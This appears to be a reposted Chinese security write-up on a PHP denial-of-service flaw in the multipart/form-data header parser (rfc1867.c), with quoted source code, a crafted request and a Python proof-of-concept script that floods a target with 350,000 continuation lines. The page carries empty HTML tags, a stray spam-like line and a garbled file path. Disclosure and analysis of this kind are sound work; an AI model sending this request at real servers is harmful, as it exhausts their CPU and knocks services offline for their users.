<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/6077

                    作者:LiuShusheng_0_

                    0x00 摘要


                    PHP解析multipart/form-datahttp請求的body part請求頭時,重復拷貝字符串導致DOS。遠程攻擊者通過發送惡意構造的multipart/form-data請求,導致服務器CPU資源被耗盡,從而遠程DOS服務器。

                    影響范圍:

                    PHP所有版本
                    

                    0x01 漏洞入口


                    PHP源碼中main/ rfc1867.c負責解析multipart/form-data協議,DOS漏洞出現在main/rfc46675pxultipart_buffer_headers函數。

                    在詳細分析漏洞函數前,先分析進入漏洞函數的路徑。PHP解析multipart/form-data http請求體的入口函數在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函數),代碼如下。

                    #!c
                    /* Get the boundary */
                    boundary= strstr(content_type_dup, "boundary");
                     if(!boundary) {
                         intcontent_type_len = strlen(content_type_dup);
                         char*content_type_lcase = estrndup(content_type_dup, content_type_len);
                    
                         php_strtolower(content_type_lcase,content_type_len);
                         boundary= strstr(content_type_lcase, "boundary");
                         if(boundary) {
                                 boundary= content_type_dup + (boundary - content_type_lcase);
                         }
                         efree(content_type_lcase);
                      }
                      if(!boundary || !(boundary = strchr(boundary, '='))) {
                           sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
                           return;
                       }
                       boundary++;
                       boundary_len= strlen(boundary);
                       …
                       …
                       while(!multipart_buffer_eof(mbuff TSRMLS_CC))
                       {
                                       charbuff[FILLUNIT];
                                       char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
                                       size_tblen = 0, wlen = 0;
                                       off_toffset;
                    
                                       zend_llist_clean(&header);
                    
                                       if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
                                                gotofileupload_done;
                                       }
                    

                    SAPI_POST_HANDLER_FUNC函數首先解析請求的boundary,

                    0x02 漏洞函數multipart_buffer_headers執行邏輯


                    進入漏洞函數,本段先分析漏洞函數的執行邏輯,下一段根據函數執行邏輯詳細分析漏洞的原理。multipart_buffer_headers函數源碼如下:

                    #!c
                    /* parse headers */
                    static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
                    {
                             char*line;
                             mime_header_entryprev_entry = {0}, entry;
                             intprev_len, cur_len;
                    
                             /*didn't find boundary, abort */
                             if(!find_boundary(self, self->boundary TSRMLS_CC)) {
                                       return0;
                             }
                    
                             /*get lines of text, or CRLF_CRLF */
                    
                             while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
                             {
                                       /*add header to table */
                                       char*key = line;
                                       char*value = NULL;
                    
                                       if(php_rfc1867_encoding_translation(TSRMLS_C)) {
                                                self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
                                       }
                    
                                       /*space in the beginning means same header */
                                       if(!isspace(line[0])) {
                                                value= strchr(line, ':');
                                       }
                    
                                       if(value) {
                                                *value= 0;
                                                do{ value++; } while(isspace(*value));
                    
                                                entry.value= estrdup(value);
                                                entry.key= estrdup(key);
                    
                                       }else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */
                    
                                                prev_len= strlen(prev_entry.value);
                                                cur_len= strlen(line);
                    
                                                entry.value= emalloc(prev_len + cur_len + 1);
                                                memcpy(entry.value,prev_entry.value, prev_len);
                                                memcpy(entry.value+ prev_len, line, cur_len);
                                                entry.value[cur_len+ prev_len] = '\0';
                    
                                                entry.key= estrdup(prev_entry.key);
                    
                                                zend_llist_remove_tail(header);
                                       }else {
                                                continue;
                                       }
                    
                                       zend_llist_add_element(header,&entry);
                                       prev_entry= entry;
                             }
                    
                             return1;
                    }
                    

                    multipart_buffer_headers函數首先找boundary,如果找到boundary就執行以下代碼,逐行讀取請求的輸入以解析body port header:

                    #!c
                    while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }
                    

                    當使用get_line讀入一行字符,如果該行第一個字符line[0]不是空白字符, 查找line是否存在':'。

                    如果line存在字符':'

                    value指向':'所在的內存地址。這時if(value)條件成立,成功解析到(header,value)對entry。調用zend_llist_add_element(header, &entry)存儲,并使用prev_entry記錄當前解析到的header,用于解析下一行。

                    否則,line不存在字符':'

                    認為這一行的內容是上一行解析到header對應value的值,因此進行合并。合并操作執行以下代碼。

                    #!c
                    prev_len= strlen(prev_entry.value);
                    cur_len= strlen(line);
                    
                    entry.value= emalloc(prev_len + cur_len + 1); //為合并value重新分片內存
                    memcpy(entry.value,prev_entry.value, prev_len); //拷貝上一行解析到header對應value
                    memcpy(entry.value+ prev_len, line, cur_len);   //把當前行作為上一行解析到header的value值,并拷貝到上一行value值得后面。
                    entry.value[cur_len+ prev_len] = '\0';
                    
                    entry.key= estrdup(prev_entry.key);
                    
                    zend_llist_remove_tail(header);
                    

                    首先,為了合并value重新分配內存,接著拷貝上一行解析到的value值到新分配的內容,然后把當前行的字符串作為上一行解析到header的value值,并拷貝到value值得后面。最后調用zend_llist_remove_tail(header)刪除上一行的記錄。執行完后獲得了新的entry,調用zend_llist_add_element(header,&entry)記錄得到的header名值對(header,value)。

                    0x03 漏洞原理


                    multipart_buffer_headers函數解析header對應value時,value值存在n行。每行的字符串以空白符開頭或不存字符':',都觸發以下合并value的代碼塊。那么解析header的value就要執行(n-1)次合并value的代碼塊。該代碼塊進行1次內存分配,2次內存拷貝,1次內存釋放。當value值越來越長,將消耗大量的cpu時間。如果以拷貝一個字節為時間復雜度單位,value的長度為m,時間復雜度為m*m.

                    #!c
                    prev_len= strlen(prev_entry.value);
                         cur_len= strlen(line);
                    
                         entry.value= emalloc(prev_len + cur_len + 1); //1次分片內存
                         memcpy(entry.value,prev_entry.value, prev_len); //1次拷貝
                         memcpy(entry.value+ prev_len, line, cur_len);   //1次拷貝
                         entry.value[cur_len+ prev_len] = '\0';
                    
                         entry.key= estrdup(prev_entry.key);
                    
                         zend_llist_remove_tail(header);//1次內存釋放
                    

                    0x04 利用


                    構造像以下惡意的http請求,當存在350000行a\n時,在我的測試環境中,一個http請求將消耗10s的cpu時間。每隔若干秒,同時并發多個請求,將導致server端cpu資源長期耗盡,從而到達DOS。總的來說,利用方式和Hash Collision DOS一樣。

                    ------WebKitFormBoundarypE33TmSNWwsMphqz
                    Content-Disposition:form-data; name="file"; filename="s
                    a
                    a
                    a
                    …
                    …
                    …
                    a"
                    Content-Type:application/octet-stream
                    
                    why is it?
                    ------WebKitFormBoundarypE33TmSNWwsMphqz
                    

                    0x05 POC


                    #!python
                    '''
                    Author: Shusheng Liu,The Department of Security Cloud, Baidu
                    email: [email protected]
                    '''
                    import sys
                    import urllib,urllib2
                    import datetime
                    from optparse import OptionParser
                    
                    def http_proxy(proxy_url):
                    
                        proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
                        null_proxy_handler = urllib2.ProxyHandler({})
                        opener = urllib2.build_opener(proxy_handler)
                        urllib2.install_opener(opener)
                    #end http_proxy 
                    
                    def check_php_multipartform_dos(url,post_body,headers):
                        req = urllib2.Request(url)
                        for key in headers.keys():
                            req.add_header(key,headers[key])
                        starttime = datetime.datetime.now();
                        fd = urllib2.urlopen(req,post_body)
                        html = fd.read()
                        endtime = datetime.datetime.now()
                        usetime=(endtime - starttime).seconds
                        if(usetime > 5):
                            result = url+" is vulnerable";
                        else:
                            if(usetime > 3):
                                result = "need to check normal respond time"
                        return [result,usetime]
                    #end
                    
                    
                    def main():
                        #http_proxy("http://127.0.0.1:8089")
                        parser = OptionParser()
                        parser.add_option("-t", "--target", action="store", 
                                      dest="target", 
                                      default=False, 
                              type="string",
                                      help="test target")
                        (options, args) = parser.parse_args()
                        if(options.target):
                        target = options.target
                        else:
                        return;
                    
                        Num=350000
                        headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
                                'Accept-Encoding':'gzip, deflate',
                                'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
                        body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
                        payload=""
                        for i in range(0,Num):
                            payload = payload + "a\n"
                        body = body + payload;
                        body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
                        print "starting...";
                        respond=check_php_multipartform_dos(target,body,headers)
                        print "Result : "
                        print respond[0]
                        print "Respond time : "+str(respond[1]) + " seconds";
                    
                    if __name__=="__main__":
                        main()
                    

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频